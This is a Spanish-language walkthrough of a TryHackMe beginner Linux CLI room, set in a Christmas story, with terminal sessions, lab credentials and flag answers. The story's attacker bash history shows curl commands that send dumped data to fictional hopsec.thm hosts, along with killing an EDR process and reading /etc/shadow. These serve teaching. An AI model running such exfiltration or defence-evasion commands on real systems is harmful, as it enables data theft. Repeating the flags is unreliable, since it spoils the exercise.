

1-Linux CLI - Shells Bells

Introduction

The Story



Lo impensable ha sucedido: McSkidy ha sido secuestrada. Sin ella, las defensas de Wareville flaquean y la Navidad misma pende de un hilo. Pero el pánico no salvará la temporada. Queda un largo camino por delante para descubrir qué sucedió realmente. El equipo de TBFC (La Mejor Compañía de Festivales) ya está pensando en qué hacer a continuación, y su primera pista apunta a tbfc-web01, un servidor Linux que procesa listas de deseos navideños. En algún lugar de sus datos podría estar la verdad: rastros de las últimas acciones de McSkidy, o quizás las pistas sobre la retorcida visión del Rey Malhare para EASTMAS.



- Objetivos de aprendizaje
- Aprender los conceptos básicos de la interfaz de línea de comandos (CLI) de Linux
 - Explorar su uso para objetivos personales y administración de TI
 - Aplicar sus conocimientos para desvelar los misterios navideños
 - Conexión a la máquina

Antes de continuar, revise las preguntas de la tarjeta de conexión que se muestra a continuación:

VM in Split Screen + Credentials

Do I need to start the AttackBox today?

✗

Do I need to start a VM today?

✓

Is there a split screen available?

✓

Is there a direct link available?

✗

Am I given credentials to connect directly to the VM via RDP, VNC, or SSH?

✓

Inicie el laboratorio haciendo clic en el botón "Iniciar máquina" a continuación. La máquina se iniciará en vista dividida y tardará unos dos minutos en cargarse. Si la máquina no está visible, haga clic en el botón "Mostrar vista dividida" en la parte superior de la página. Una vez cargada, aparecerá una ventana de terminal: su CLI de Linux. ¡Deberá escribir los comandos allí!

Set up your virtual environment

To successfully complete this room, you'll need to set up your virtual environment. This involves starting the Target Machine, ensuring you're equipped with the necessary tools and access to tackle the challenges ahead.



Target machine ⓘ

Status:

● Off

▶ Start Machine

Alternativamente, puede utilizar las credenciales a continuación para conectarse a la máquina de destino a través de SSH desde su propia máquina conectada a THM VPN:

Credentials

Only needed if you are using your own THM VPN connected machine.

Username	Password	IP address	Connection via
 mcskidy	 AoC2025!	 MACHINE_IP	 SSH <code>ssh mcskidy@MACHINE_IP</code>

Linux CLI

Trabajando con la CLI de Linux

- ¡Pero el servidor no tiene interfaz gráfica (GUI)! ¿Cómo buscaremos pistas?
- ¿Quién necesita una GUI cuando tenemos una terminal de línea de comandos de Linux? ¡Es aún mejor!

Linux cuenta con una potente interfaz de línea de comandos que permite usar y administrar el sistema simplemente escribiendo comandos en el teclado. No es tan difícil como parece; una vez que te acostumbras, quizá te guste más la CLI que la interfaz gráfica. Además, la mayoría de los expertos en TI y ciberseguridad trabajan con la CLI a diario, ¡así que comencemos a aprender!

- Para ejecutar tu primer comando de la CLI, escribe `echo "Hello World!"` y pulsa Intro. Esto hará un `echo` del texto.
- Luego, escribe `ls` para listar el contenido del directorio actual. Este comando te mostrará los archivos de McSkidy.
- Después, escribe `cat README.txt` para mostrar el contenido del archivo. Verás su contenido en la salida a continuación.

Basic CLI Commands

```
mcskidy@tbfc-web01:~$ echo "Hello World!"
Hello World!
mcskidy@tbfc-web01:~$ ls
Desktop Downloads [...] Guides README.txt
mcskidy@tbfc-web01:~$ cat README.txt
For all TBFC members,
Yesterday I spotted yet another Eggsplot on our servers.
Not sure what it means yet, but Wareville is in danger.
To be prepared, I'll write the security guide by tomorrow.
As a precaution, I'll also hide the guide from plain view.
~ McSkidy
```

Navegando por el sistema de archivos

Parece que McSkidy dejó una guía de seguridad antes de ser secuestrado. ¡Sería de gran ayuda! Quizás hayas visto el directorio "Guides" la última vez que ejecutaste `ls`; probablemente sea el directorio que necesitamos. Tu experiencia con la CLI comenzó en el directorio de inicio de McSkidy (puedes verificarlo ejecutando `pwd`), pero ahora cambiemos al directorio de guías.

Cambia de directorio ejecutando `cd Guides`. Aparecerás en `/home/mcskidy/Guides`. Ejecuta el comando `ls` de nuevo para ver el contenido del directorio de guías (estará vacío).

Navigating With CD

```
mcskidy@tbfc-web01:~$ cd Guides
mcskidy@tbfc-web01:~/Guides$ ls
```

Buscando la Guía Oculta

¡Vaya! Parece que las guías no están. ¿O sí? En Linux, los archivos y directorios se pueden ocultar a simple vista si empiezan con un punto (p. ej., `.secret.txt`). Esta función suele ser utilizada por administradores de TI para ocultar archivos del sistema, por atacantes para ocultar malware y, ahora, por McSkidy para ocultar la valiosa guía de los malos.

- Vuelve a ver el directorio ejecutando `ls -la`. El indicador `-a` muestra los archivos ocultos. El indicador `-l` muestra detalles adicionales, como los permisos y el propietario del archivo.
- Lee la guía oculta ejecutando `cat .guide.txt`. No olvides el punto inicial.

Reading Hidden Files

```
mcskidy@tbfc-web01:~/Guides$ ls -la
drwxrwxr-x  2 mcskidy mcskidy 4096 Oct 13 01:26 .
drwxr-x--- 19 mcskidy mcskidy 4096 Oct 23 12:29 ..
-rw-rw-r--  1 mcskidy mcskidy  504 Oct 13 01:26 .guide.txt
mcskidy@tbfc-web01:~/Guides$ cat .guide.txt
I think King Malhare from HopSec Island is preparing for an attack.
Not sure what his goal is, but Eggsploits on our servers are not good.
Be ready to protect Christmas by following this Linux guide:

Check /var/log/ and grep inside, let the logs become your guide.
Look for eggs that want to hide, check their shells for what's inside!
```

Explorando los registros

En su guía, McSkidy hace referencia a `/var/log/`, un directorio de Linux donde se almacenan todos los eventos de seguridad (registros). De hecho, cualquier analista de SOC en TBFC confirmará que la mejor manera de encontrar conejos malvados es revisar los registros. Los archivos de registro suelen ser muy

grandes, y revisarlos con `cat` no es lo ideal. Por lo tanto, usemos `grep`, un comando para buscar un texto específico dentro de un archivo.

Navigate al directorio de registros con `cd /var/log` y explore su contenido con `ls`.

Ejecute `grep "Failed password" auth.log` para buscar los inicios de sesión fallidos dentro de `auth.log`.

Grepping Logfiles

```
mcskidy@tbfc-web01:~$ cd /var/log
mcskidy@tbfc-web01:~$ grep "Failed password" auth.log
2025-10-13T01:43:48 tbfc-web01: Failed password for socmas from eggbox-196.hopsec.thm
[...]
```



Encontrando los Archivos

Puedes ver muchos inicios de sesión fallidos en la cuenta "socmas", ¡todos desde la ubicación HopSec! Claramente intentaban acceder a SOC-mas, la plataforma de pedidos navideños de Wareville. ¿Y si alguien dejó malware allí? Sigamos la guía de McSkidy y busquemos Eggsploits y Eggshells con `find`, un comando que busca archivos con parámetros específicos, como `-name`:

- Ejecuta `find /home/socmas -name *egg*` para buscar "eggs" en el directorio de inicio de socmas.
- Ten en cuenta que `find` es un comando potente. Consulta su [documentación](#) para más detalles.

Using Find Command

```
mcskidy@tbfc-web01:~$ find /home/socmas -name *egg*
/home/socmas/2025/eggstrike.sh
```

Analizando Eggstrike

¡Parece que has encontrado algo, `eggstrike.sh`! Los archivos con la extensión `.sh` contienen comandos CLI y se denominan scripts de shell. Estos scripts son utilizados tanto por equipos de TI para automatizar tareas como por atacantes para ejecutar rápidamente comandos maliciosos. Veamos el contenido del script sospechoso e intentemos comprenderlo:

Eggstrike Content

```
mcskidy@tbfc-web01:~$ cd /home/socmas/2025
mcskidy@tbfc-web01:~$ cat eggstrike.sh
# Eggstrike v0.3
# © 2025, Sir Carrotbane, HopSec
cat wishlist.txt | sort | uniq > /tmp/dump.txt
rm wishlist.txt && echo "Chistmas is fading..."
mv eastmas.txt wishlist.txt && echo "EASTMAS is invading!"
```

1. Las líneas que empiezan con `#` son solo comentarios y no son los comandos reales.
2. El comando `cat wishlist.txt | sort | uniq` enumera los artículos únicos del archivo `wishlist.txt`.
3. El comando envía la salida (pedidos únicos) al archivo `/tmp/dump.txt`.
4. El comando `rm wishlist.txt` elimina el archivo de la lista de deseos (que contiene los deseos navideños).
5. El comando `mv eastmas.txt wishlist.txt` reemplaza el archivo original con `eastmas.txt`.

Características de la CLI

¡El script de Eggstrike que leíste parece estar robando felicitaciones navideñas y reemplazándolas con las falsas! Quizás hayas notado que los comandos del script son un poco complejos, pero no es inusual, ya que el autor del script es nada menos que Sir Carrotbane, el líder del equipo rojo de HopSec. exploremos los símbolos especiales a continuación:

Special Symbol	Description	Example
Pipe symbol (<code>\ </code>)	Send the output from the first command to the second	<code>cat unordered-list.txt \ sort \ uniq</code>
Output redirect (<code>></code> / <code>>></code>)	Use <code>></code> to overwrite a file, and <code>>></code> to append to the end	<code>some-long-command > /home/mcskidy/output.txt</code>
Double ampersand (<code>&&</code>)	Run the second command if the first was successful	<code>grep "secret" message.txt && echo "Secret found!"</code>

Sir Carrotbane Attacks



Ahora está claro que el servidor ha sido vulnerado y la lista de deseos de Navidad ha sido reemplazada por una de EASTMAS. Aunque no has encontrado ninguna pista de lo que le ocurrió a McSkidy, al menos sabes que los atacantes estaban allí. Puedes ver cómo Sir Carrotbane reemplazó la lista de deseos visitando http://MACHINE_IP:8080 desde el navegador web de la máquina virtual. Puedes abrirlo haciendo clic en el icono de Firefox en el escritorio.

Utilidades del sistema

Hay cientos de comandos CLI para ver y administrar tu sistema. Por ejemplo, `uptime` para ver cuánto tiempo lleva funcionando el sistema, `ip addr` para comprobar tu dirección IP y `ps aux` para listar todos los procesos. También puedes comprobar los nombres de usuario y las contraseñas hash de usuarios, como McSkidy, ejecutando `cat /etc/shadow`. Sin embargo, necesitarás permisos de root para hacerlo.

Permission Denied

```
mcskidy@tbfc-web01:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
```

Usuario root

El usuario root es el usuario predeterminado de Linux, con capacidad para realizar cualquier acción en el sistema. Puedes cambiarlo a root con `sudo su` y regresar a McSkidy con el comando `exit`. Solo el usuario root puede abrir `/etc/shadow` y editar la configuración del sistema, por lo que suele ser un objetivo principal para los atacantes. Si en algún momento quieres verificar tu usuario actual, ¡simplemente ejecuta `whoami`!

- Cambia al usuario root ejecutando el comando `sudo su`.
- Puedes verificar tu usuario actual ejecutando `whoami`.

Switching to the Root User

```
mcskidy@tbfc-web01:~$ sudo su
root@tbfc-web01:/home/mcskidy$ whoami
root
```

Historial de Bash

¿Sabías que cada comando que ejecutas se guarda en un archivo de historial oculto, también llamado historial de Bash? Se encuentra en el directorio personal de cada usuario: `/home/mcskidy/.bash_history` para McSkidy y `/root/.bash_history` para root. Puedes consultarlo con el práctico comando `history` o leer los archivos directamente con `cat`. ¡Comprobemos si Sir Carrotbane y sus conejos malos dejaron rastro en el historial!

- Familiarízate con el historial de Bash ejecutando el comando `history`.
- Ten en cuenta que tus comandos también se guardan en un archivo (`cat .bash_history`).

Accessing Bash History

```
root@tbfc-web01:/home/mcskidy$ cd /root
root@tbfc-web01:~$ cat .bash_history
curl --data "@/tmp/dump.txt" http://files.hopsec.thm/upload
curl --data "%qur\(\tq_` :D AH?65P" http://red.hopsec.thm/report
[...]
```

Answer the questions below

Which CLI command would you use to list a directory?

Respuesta: ls

What flag did you see inside of the McSkidy's guide?

Respuesta: THM{learning-linux-cli}

```
Terminal
File Edit View Search Terminal Help
mcskidy@tbfc-web01:~$ ls
Desktop Downloads Music Public Templates snap
Documents Guides Pictures README.txt Videos
mcskidy@tbfc-web01:~$ cd Guides/
mcskidy@tbfc-web01:~/Guides$ ls
mcskidy@tbfc-web01:~/Guides$ ls -la
total 12
drwxrwxr-x  2 mcskidy mcskidy 4096 Oct 29 20:46 .
drwxr-x--- 21 mcskidy mcskidy 4096 Nov 13 17:10 ..
-rw-rw-r--  1 mcskidy mcskidy  506 Oct 29 20:46 .guide.txt
mcskidy@tbfc-web01:~/Guides$ cat .guide.txt
I think King Malhare from HopSec Island is preparing for an attack.
Not sure what his goal is, but Eggsplits on our servers are not good.
Be ready to protect Christmas by following this Linux guide:

Check /var/log/ and grep inside, let the logs become your guide.
Look for eggs that want to hide, check their shells for what's inside!

P.S. Great job finding the guide. Your flag is:
-----
THM{learning-linux-cli}
-----
mcskidy@tbfc-web01:~/Guides$
```

Which command helped you filter the logs for failed logins?

Respuesta: grep

What flag did you see inside the Eggstrike script?

Respuesta: THM{sir-carrotbane-attacks}

```
mcskidy@tbfc-web01:/var/log$ find /home/socmas -name *egg*
/home/socmas/2025/eggstrike.sh
mcskidy@tbfc-web01:/var/log$
mcskidy@tbfc-web01:/var/log$ cd /home/socmas/2025
mcskidy@tbfc-web01:/home/socmas/2025$ cat eggstrike.sh
# Eggstrike v0.3
# © 2025, Sir Carrotbane, HopSec
cat wishlist.txt | sort | uniq > /tmp/dump.txt
rm wishlist.txt && echo "Chistmas is fading.."
mv eastmas.txt wishlist.txt && echo "EASTMAS is invading!"

# Your flag is:
# THM{sir-carrotbane-attacks}
mcskidy@tbfc-web01:/home/socmas/2025$
mcskidy@tbfc-web01:/home/socmas/2025$
```

Which command would you run to switch to the root user?

Respuesta: sudo su

Finally, what flag did Sir Carrotbane leave in the root bash history?

Respuesta: THM{until-we-meet-again}

```
root@tbfc-web01:/home/socmas/2025$ history
 1  whoami
 2  cd ~
 3  ll
 4  nano .ssh/authorized_keys
 5  curl --data "@/tmp/dump.txt" http://files.hopsec.thm/upload
 6  curl --data "%qur\{tq_` :D AH?65P" http://red.hopsec.thm/report
 7  curl --data "THM{until-we-meet-again}" http://flag.hopsec.thm
 8  pkill tbfcedr
 9  cat /etc/shadow
10  cat /etc/hosts
11  exit
12  whoami
13  histpry
14  history
root@tbfc-web01:/home/socmas/2025$
```

For those who consider themselves intermediate and want another challenge, check McSkidy's hidden note in `/home/mcskidy/Documents/` to get access to the key for **Side Quest 1!**

No necesita respuesta

nos movemos a la carpeta dada

```
mcskidy@tbfc-web01:~$ cd /home/mcskidy/Documents/
mcskidy@tbfc-web01:~/Documents$ ls
read-me-please.txt
```

leemos el archivo

```
mcskidy@tbfc-web01:~/Documents$ cat read-me-please.txt
From: mcskidy
To: whoever finds this

I had a short second when no one was watching. I used it.

I've managed to plant a few clues around the account.
If you can get into the user below and look carefully,
those three little "easter eggs" will combine into a passcode
that unlocks a further message that I encrypted in the
/home/eddi_knapp/Documents/ directory.
I didn't want the wrong eyes to see it.

Access the user account:
username: eddi_knapp
password: S0mething1Sc0ming

There are three hidden easter eggs.
They combine to form the passcode to open my encrypted vault.

Clues (one for each egg):

1)
I ride with your session, not with your chest of files.
Open the little bag your shell carries when you arrive.

2)
The tree shows today; the rings remember yesterday.
Read the ledger's older pages.

3)
When pixels sleep, their tails sometimes whisper plain words.
Listen to the tail.

Find the fragments, join them in order, and use the resulting passcode
to decrypt the message I left. Be careful – I had to be quick,
and I left only enough to get help.

~ McSkidy
```

en el mensaje nos dan las credenciales de una cuenta de usuario, iniciamos sesion en la cuenta

```
mcskidy@tbfc-web01:~/Documents$ su - eddi_knapp
Password:
eddi_knapp@tbfc-web01:~$
```

nos moveremos al directorio donde dejaron otra nota

```
eddi_knapp@tbfc-web01:~$ cd /home/eddi_knapp/Documents/
eddi_knapp@tbfc-web01:~/Documents$
```

listanamos y leemos el contenido de los archivos

```
eddi_knapp@tbfc-web01:~/Documents$ ls
mcskidy_note.txt.gpg  notes_on_photos.txt
eddi_knapp@tbfc-web01:~/Documents$ cat notes_on_photos.txt
Photo notes:
- backup all images weekly
- sync with phone when connected
- organize into 3 folders per year
```

el segundo archivo tiene doble extension y la principal es la .gpg que es una encriptacion

```
eddi_knapp@tbfc-web01:~/Documents$ gpg -d mcskidy_note.txt.gpg
gpg: AES256.CFB encrypted data
gpg: problem with the agent: Permission denied
gpg: encrypted with 1 passphrase
gpg: decryption failed: Bad session key
```

vamos a buscar los tres huevos para encontrar la llave para descifrar el archivo

Enjoyed investigating in a Linux environment? Check out our [Linux Logs Investigations](#) room for more like this!

No necesita respuesta